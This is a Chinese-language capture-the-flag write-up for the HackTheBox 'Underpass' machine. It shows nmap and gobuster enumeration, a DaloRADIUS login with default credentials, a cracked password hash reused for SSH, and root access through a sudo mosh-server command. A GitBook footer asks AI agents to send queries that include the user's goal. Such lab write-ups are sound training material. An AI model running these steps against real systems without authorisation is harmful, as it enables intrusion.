> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/underpass-hackthebox-writeup.md).

# Underpass HackTheBox 复盘

Underpass HackTheBox 简单 Linux 机器复盘，涵盖 UDP 枚举、默认凭据（DaloRADIUS）、密码破解、通过 SUDO（mosh-server）提权，并包含实用的枚举、

{% embed url="<https://app.hackthebox.com/machines/641>" %}

{% hint style="warning" %}
**技能：**

* UDP 枚举
* 默认凭据（DaloRADIUS）
* 密码破解
* 通过 SUDO 提权（mosh-server）
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c95ecbf78acd28e77cd883b1a671689ae1f0a8f0%2Fimage%20(2690).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-682bf9a380dddc1a16521369b9ced2160d02f6ec%2Fimage%20(2691).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### TCP

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的“allPorts”文件：

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.48 -oG allPorts
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a684285782e8d89239e15e4a15151d40a74c0ab2%2Fimage%20(2692).png?alt=media" alt=""><figcaption></figcaption></figure>

使用 Nmap 进行端口版本扫描：

使用 Nmap 扫描服务版本，并将输出保存到“targeted”文件中：

```bash
nmap -sCV -p22,80 10.10.11.48 -oN targeted
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6c123c9a69ea58a97a94b9c767c690fb02914347%2Fimage%20(2693).png?alt=media" alt=""><figcaption></figcaption></figure>

### UDP

**对最常用 UDP 端口的扫描：**

我们对 100 个最常见的 UDP 端口进行扫描：

```bash
nmap -sU --top-ports 100 --open -vvv -n 10.10.11.48 -oG allPortsUDP
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f5cad737f8fba7849938f4c6b388d4838cb3881d%2Fimage%20(860).png?alt=media" alt=""><figcaption></figcaption></figure>

* 识别出的端口： **161, 1812, 1813**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fb731254a0c11f612929d5f4ccad42f12d301bb9%2Fimage%20(862).png?alt=media" alt=""><figcaption></figcaption></figure>

**UDP 服务版本扫描：**/ 我们针对已识别的端口获取更多信息：

```bash
nmap -sUCV -p161,1812,1813 10.10.11.48 -oN targetedUDP
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-309771b1b8b6e382b647c8d627ece9ce81d8bc41%2Fimage%20(864).png?alt=media" alt=""><figcaption></figcaption></figure>

**初步观察：**

* 域名 **underpass.htb** 的目录被发现。
* 一个名为 **DaloRADIUS** 被识别出来。

## CMS - **DaloRADIUS**

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-30e7fdfcbf1bd8ec0d8f3c3f9aaed4b5735227f5%2Fimage%20(847).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**使用 Gobuster 扫描目录：**/ 我们探索网站目录：

```bash
gobuster dir -u http://underpass.htb/daloradius/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

结果：一个名为 **`/app`** 的目录被发现。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2c78de86955be34ccfa5738e011b78e69aaf06b7%2Fimage%20(848).png?alt=media" alt=""><figcaption></figcaption></figure>

**子目录列表：**<br>

通过探索 **`/app`**，我们发现：

```bash
gobuster dir -u http://underpass.htb/daloradius/app/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-31a0b3f5d856de5e2bb604b41166c12425c0a271%2Fimage%20(849).png?alt=media" alt=""><figcaption></figcaption></figure>

* 一个 **用户登录页面**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-33227f69d03125e8586f90289463e2fc616d6eae%2Fimage%20(850).png?alt=media" alt=""><figcaption></figcaption></figure>

* 一个 **操作员登录页面**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ce844c191084f90dfbe8b96116acb1de5795c7f9%2Fimage%20(851).png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 DaloRADIUS 默认凭据访问：**/ 通过测试 RADIUS 的默认凭据：

* **用户名：** `administrator`
* **密码：** `radius`/ 这些凭据可用于操作员面板。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fb5dd082c53e572c3600f6f0b1f1ef5196c105d0%2Fimage%20(852).png?alt=media" alt=""><figcaption></figcaption></figure>

### **敏感信息提取：**

在 **管理** 部分中，我们找到一个 **用户名** 和一个 **密码哈希**:

* **用户：** `svcMosh`
* **哈希：** `412DD4759978ACFCC81DEAB01B382403`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-17943b3ea3ee5d8b9aab535b952213e76d246f9f%2Fimage%20(853).png?alt=media" alt=""><figcaption></figcaption></figure>

### **哈希破解：**<br>

我们使用 **CrackStation** 用于解密该哈希：

{% embed url="<https://crackstation.net/>" %}

**解密后的密码：** `underwaterfriends`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5cd586c9f4882caab506ba600732c24bfddac632%2Fimage%20(854).png?alt=media" alt=""><figcaption></figcaption></figure>

**SSH 连接：**/ 使用这些凭据，我们通过 SSH 访问该机器：

```bash
ssh svcMosh@underpass.htb

underwaterfriends
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-83c327525a82fb1d3f425b3ea7225ee6c496c786%2Fimage%20(855).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## 权限提升

### SUDO - Mosh-Server

通过使用 `sudo -l` 命令检查权限，我们发现用户 **svcMosh** 可以运行 **mosh-server** 二进制程序，无需提供密码即可获得管理员权限

```bash
sudo -l
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3eac0287a2f977e791fcbf25147faeccd1239e31%2Fimage%20(856).png?alt=media" alt=""><figcaption></figcaption></figure>

> 由于你可以选择以 **mosh-server** 作为 root，因此可以利用这一点建立与 **mosh** 中的文件内容，使用 **sudo** 的连接，以管理员身份运行服务器。

以下命令将以 root 权限运行 **mosh-server** 并随后建立与 **mosh** 客户端：

```bash
mosh --server="sudo /usr/bin/mosh-server" localhost
```

这将允许 **mosh** 连接到服务器 **mosh-server** 该服务器以 root 身份运行在 **localhost**。使用此方法，你将以管理员权限获得对该机器的特权访问。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2e0b52c064410341185cadca3dbc89602379310d%2Fimage%20(857).png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt 标志 :)

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6cf263c13eecefd18fcea5b82d6a19d8b0ddd025%2Fimage%20(859).png?alt=media" alt="" width="547"><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d1c170714067e1e71a61f9a20224c7b8bfda7792%2Fimage%20(858).png?alt=media" alt="" width="522"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/underpass-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
